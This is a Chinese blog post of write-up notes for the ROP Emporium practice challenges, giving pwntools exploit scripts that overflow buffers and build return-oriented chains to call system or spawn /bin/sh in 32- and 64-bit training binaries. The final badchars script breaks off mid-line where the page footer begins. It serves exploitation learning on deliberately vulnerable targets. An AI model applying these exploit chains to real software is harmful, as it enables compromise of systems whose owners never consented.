ROP Emporium一系列题

本文介绍了在ROP Emporium网站上进行的一系列安全挑战,涉及32位和64位系统的ROP(Return-Oriented Programming)技术。通过解决ret2win、split、callme、write4、badchars、fluff、pivot等题目,作者详细探讨了如何利用gadget、处理badchars、栈迁移和函数地址泄露等问题。挑战中还提到了工具如ROPgadget的使用,以及在不同场景下如何构造payload来完成目标。
摘要由CSDN通过智能技术生成

Rop Emporium

最近在学习ROP,发现ROP Emporium这个网站上题目挺好,就一直在做,我这里用到查gadget的工具是ROPgadget,其他工具也是可以的。因为是直接从笔记上粘贴的,所以没有排版啥的,。。

ret2win_32

简单的覆盖返回地址跳转到后门函数

#coding="utf-8"
from pwn import *

sh=process("./ret2win32")
payload="a"*0x28+"a"*4+"\x59\x86\x04\x08"
sh.recvuntil(">")

sh.sendline(payload)
sh.interactive()

ret2win_64

和32位一样,覆盖返回地址跳转到后门函数

from pwn import *

sh=process("./ret2win")
payload="a"*0x20+"a"*8+p64(0x0400811)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

split_32

程序的system中不是/bin/sh,通过查找字符串发现在数据段,将参数数据段参数传递给system就ok了

from pwn import *

sh=process("./split32")
payload="a"*0x28+"a"*4+p32(0x08048657)+p32(0x0804a030)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

split_64

64位和32位有点不一样,在传参方面64位前几个参数是放在rdi,rsi,rdx,rcx,r8,r9中,所以需要将参数放到rdi中才可以调用成功

#coding="utf-8"
from pwn import *

sh=process("./split")
system_addr=0x0400810
rdi_addr=0x0400883
flag_addr=0x0601060
payload='a'*0x20+'a'*0x8+p64(rdi_addr)+p64(flag_addr)+p64(system_addr)
#当程序ret时,进入rdi_addr,然后rdi再ret到system_addr每一次esp指向都不一样
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

callme_32

程序中没有system和/bin/sh,给了一个.so文件,用IDA查看发现程序通过callme_one函数将flag文件导入,通过callme_two和callme_three函数将flag解密输出,这三个函数还需要在0x1,0x2,0x3这三个参数,由于.so文件相当于在调用动态链接库,没有办法esp自减,所以我们利用程序中的gadget来平衡一下栈

#coding="utf-8"

from pwn import *

sh=process("./callme32")
callme_one_addr=0x080485c0
callme_two_addr=0x08048620
callme_three_addr=0x080485b0
gadget_addr=0x080488a9
payload="a"*0x28+"a"*4
payload+=p32(callme_one_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_two_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
payload+=p32(callme_three_addr)+p32(gadget_addr)+p32(0x1)+p32(0x2)+p32(0x3)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

callme_64

和32基本一样,注意传参问题就好

#coding="utf-8"

from pwn import *

sh=process("./callme")
gadget_addr=0x0401ab0
callme_one_addr=0x0401850
callme_two_addr=0x0401870
callme_three_addr=0x0401810
payload="a"*0x20+"a"*0x8
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_one_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_two_addr)
payload+=p64(gadget_addr)+p64(0x1)+p64(0x2)+p64(0x3)+p64(callme_three_addr)
sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

write4_32

程序中只有system函数,没有我们需要的/bin/sh,需要我们自己构造,但是我们要向将自己构造的写入到程序,就要知道程序bss段或者data段是否可写,以及他们的空间是否足够。另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符( \x00 , \x0a 等)之类的问
题,比如这里 /bin/sh 只有七个字节,我们可以使用 /bin/sh\x00 或者/bin//sh

#coding="uft-8"

from pwn import *

sh=process("./write432")
system_addr=0x0804865a           #system_plt_addr=0x08048430
pop_pop_addr=0x080486da
mov_addr=0x08048670
data_addr=0x0804a028

payload="a"*0x28+"a"*4
payload+=p32(pop_pop_addr)+p32(data_addr)+"/bin"+p32(mov_addr)
payload+=p32(pop_pop_addr)+p32(data_addr+4)+"//sh"+p32(mov_addr)

#payload+=p32(pop_pop_addr)+p32(data_addr+4)+"/sh\x00"+p32(mov_addr)

payload+=p32(system_addr)+p32(data_addr)         #p32(system_plt_addr)   

sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

write4_64

64位一次写入就好了

#coding="utf-8"

from pwn import *

sh=process("./write4")
system_plt_addr=0x04005e0
data_addr=0x0601050
mov_ret_addr=0x0400820
pop_pop_addr=0x0400890
pop_rdi_addr=0x0400893

payload="a"*0x20+"a"*0x8
payload+=p64(pop_pop_addr)+p64(data_addr)+"/bin/sh\x00"+p64(mov_ret_addr)
payload+=p64(pop_rdi_addr)+p64(data_addr)+p64(system_plt_addr)

sh.recvuntil(">")
sh.sendline(payload)
sh.interactive()

badchars_32

我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取,输入时会对敏感字符进行检查。处理敏感字符在利用开发中是经常要用到的,不仅仅是要对参数进行编码,有时甚至地址也要如此。这里我们使用简单的异或操作来对字符串编码和解码。

#coding="utf-8"

from pwn import *

sh=process("./badchars32")

pop_ebx_ecx_addr=0x08048896
pop_esi_edi_addr=0x08048899
mov_edi_esi_addr=0x08048893
xor_addr=0x08048890
system_plt_addr=0x080484e0
bss_addr=0x0804a040
#encode
binsh=""
xor_byte=0x2

for i in "/bin/sh\x00":
	c=ord(i) ^ xor_byte
	binsh+=chr(c)
#write
payload="a"*44
payload+=p32(pop_esi_edi_addr)+binsh[0:4]+p32(bss_addr)+p32(mov_edi_esi_addr)
payload+=p32(pop_esi_edi_addr)+binsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi_addr)
#code
for i in range(len(binsh)):
	payload+=p32(pop_ebx_ecx_addr)
	payload+=p32
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值